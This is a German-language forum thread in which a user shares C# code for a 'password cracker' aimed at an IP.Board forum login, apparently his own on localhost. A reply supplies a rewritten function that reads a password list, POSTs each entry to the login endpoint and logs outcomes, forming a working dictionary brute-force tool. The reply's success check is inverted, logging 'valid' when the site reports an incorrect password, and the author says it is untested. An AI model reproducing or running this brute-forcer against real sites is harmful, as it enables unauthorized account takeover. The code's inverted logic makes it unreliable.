Passwort Cracker

  • C#

    Passwort Cracker

    Guten Abend meine lieben Freunde. Jaja der schon wieder.

    Ich baue mir gerade einen Passwortcracker, da ich etwas ausprobieren möchte, habe aber ein kleines Problem dabei. Ich habe mir den Code so geschrieben das ich eine Textdatei öffnen muss und das Programm sich das ganze soweit merkt. Nun habe ich zu meinem Forum eine Verbindung aufgebaut und möchte nicht ein einzelnes Passwort von Hand eingeben, sondern ich möchte das dass Programm die Passwörter alle aus der Liste austestet bis zum Schluß und ein Log darüber anlegt.

    Zum Beispiel : Testbenutzer:123456:Valid

    So, 99% aller Foren blockieren den Request nach spätestens 5 Versuchen, deswegen möchte ich das ein wenig auf meinem Forum versuchen. Ich poste mal den Code den ich soweit schon habe.

    C# - CSharp

    1. using System;
    2. using System.Diagnostics;
    3. using System.IO;
    4. using System.Net;
    5. using System.Windows.Forms;
    6. namespace Blockchain
    7. {
    8. public partial class Form1 : Form
    9. {
    10. public Form1()
    11. {
    12. InitializeComponent();
    13. }
    14. OpenFileDialog file = new OpenFileDialog();
    15. ListBox list = new ListBox();
    16. private void button1_Click(object sender, EventArgs e)
    17. {
    18. if (textBox1.Text == "")
    19. {
    20. MessageBox.Show("Please enter a valid username!");
    21. textBox1.Focus();
    22. }
    23. if (textBox2.Text == "")
    24. {
    25. MessageBox.Show("Please enter your password!");
    26. textBox2.Focus();
    27. }
    28. string username = textBox1.Text;
    29. string password = textBox2.Text;
    30. //LoginClass(username, password);
    31. }
    32. private void button2_Click(object sender, EventArgs e)
    33. {
    34. file.Filter = "Text|*.txt";
    35. if(file.ShowDialog() == DialogResult.OK)
    36. {
    37. textBox2.Text = file.FileName;
    38. textBox2.Text = file.SafeFileName;
    39. }
    40. }
    41. private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
    42. {
    43. Process.Start("http://localhost/forum/index.php");
    44. }
    45. /*public static bool LoginClass(String username, String password)
    46. {
    47. string data = null;
    48. data = "auth_key=XXXXXXXXXXXXXXXXXXXXXX&referer=http://localhost/forum/&ips_username=" + username + "&ips_password=" + password + "&rememberMe=1";
    49. try
    50. {
    51. WebRequest request = WebRequest.Create("http://localhost/forum/index.php?app=core&module=global&section=login&do=process");
    52. request.Method = WebRequestMethods.Http.Post;
    53. request.ContentType = "application/x-www-form-urlencoded";
    54. request.ContentLength = data.Length;
    55. StreamWriter rStream = new StreamWriter(request.GetRequestStream());
    56. rStream.Write(data);
    57. rStream.Flush();
    58. rStream.Close();
    59. WebResponse response = request.GetResponse();
    60. StreamReader resReader = new StreamReader(response.GetResponseStream());
    61. string str = resReader.ReadToEnd();
    62. if (str.Contains("Username or password incorrect."))
    63. {
    64. MessageBox.Show("Username or password incorrect.");
    65. return false;
    66. }
    67. else
    68. {
    69. MessageBox.Show("You are now logged in!");
    70. return true;
    71. }
    72. response.Close();
    73. }
    74. catch (Exception ex)
    75. {
    76. return false;
    77. }
    78. }*/
    79. }
    80. }
    Und Java?

    Naja misst halt schauen ob du einen Paketbot oder Browsersteuerrung haben willst. Jede Sprache hat da ihre eigenheiten.

    Aber eigentlich so:
    Browser Objekt anlegen mit Login funktion die am Ende abfragt ob erfolg oder nicht.
    Dann Txt einlesen und die benutzerdaten mit einer For schleife durchgehen.
    Rückgabewert abspeichern in neuer TXT mit benutzerdaten.
    Na und was willst du jetzt wissen? Könnte dir in C# gut helfen aber versteh dein Problem nicht.

    Edit: Hab mal deine Klasse ein bisschen verändert, so kannst du einen Pfad zu einer Passwortliste übergeben und
    alle durchtesten, nebenbei schreibt er dir noch ne Log Datei. (Habs nicht getestet aber sollte klappen).


    C# - CSharp

    1. private static void LoginClass(string username, string pathPasswords)
    2. {
    3. List<string> passwords = new List<string>();
    4. using (StreamReader sr = new StreamReader(pathPasswords))
    5. {
    6. var line = string.Empty;
    7. while ((line = sr.ReadLine()) != null)
    8. passwords.Add(line);
    9. }
    10. var pathLog = Application.StartupPath + "\\Log.txt";
    11. using (StreamWriter logFile = new StreamWriter(pathLog, true))
    12. {
    13. foreach (var password in passwords)
    14. {
    15. var data = "auth_key=XXXXXXXXXXXXXXXXXXXXXX&referer=http://localhost/forum/&ips_username="
    16. + username
    17. + "&ips_password="
    18. + password
    19. + "&rememberMe=1";
    20. try
    21. {
    22. var url = "http://localhost/forum/index.php?app=core&module=global&section=login&do=process";
    23. WebRequest request = WebRequest.Create(url);
    24. request.Method = WebRequestMethods.Http.Post;
    25. request.ContentType = "application/x-www-form-urlencoded";
    26. request.ContentLength = data.Length;
    27. using (StreamWriter rStream = new StreamWriter(request.GetRequestStream()))
    28. rStream.Write(data);
    29. WebResponse response = request.GetResponse();
    30. using (StreamReader resReader = new StreamReader(response.GetResponseStream()))
    31. {
    32. var str = resReader.ReadToEnd();
    33. if (str.Contains("Username or password incorrect."))
    34. {
    35. logFile.WriteLine(username + ":" + password + ":valid");
    36. }
    37. else
    38. {
    39. logFile.WriteLine(username + ":" + password + ":invalid");
    40. }
    41. }
    42. }
    43. catch{ logFile.WriteLine("Request fails!"); }
    44. }
    45. }
    46. }
    Mfg S0urce++

    Dieser Beitrag wurde bereits 2 mal editiert, zuletzt von „S0urce++“ ()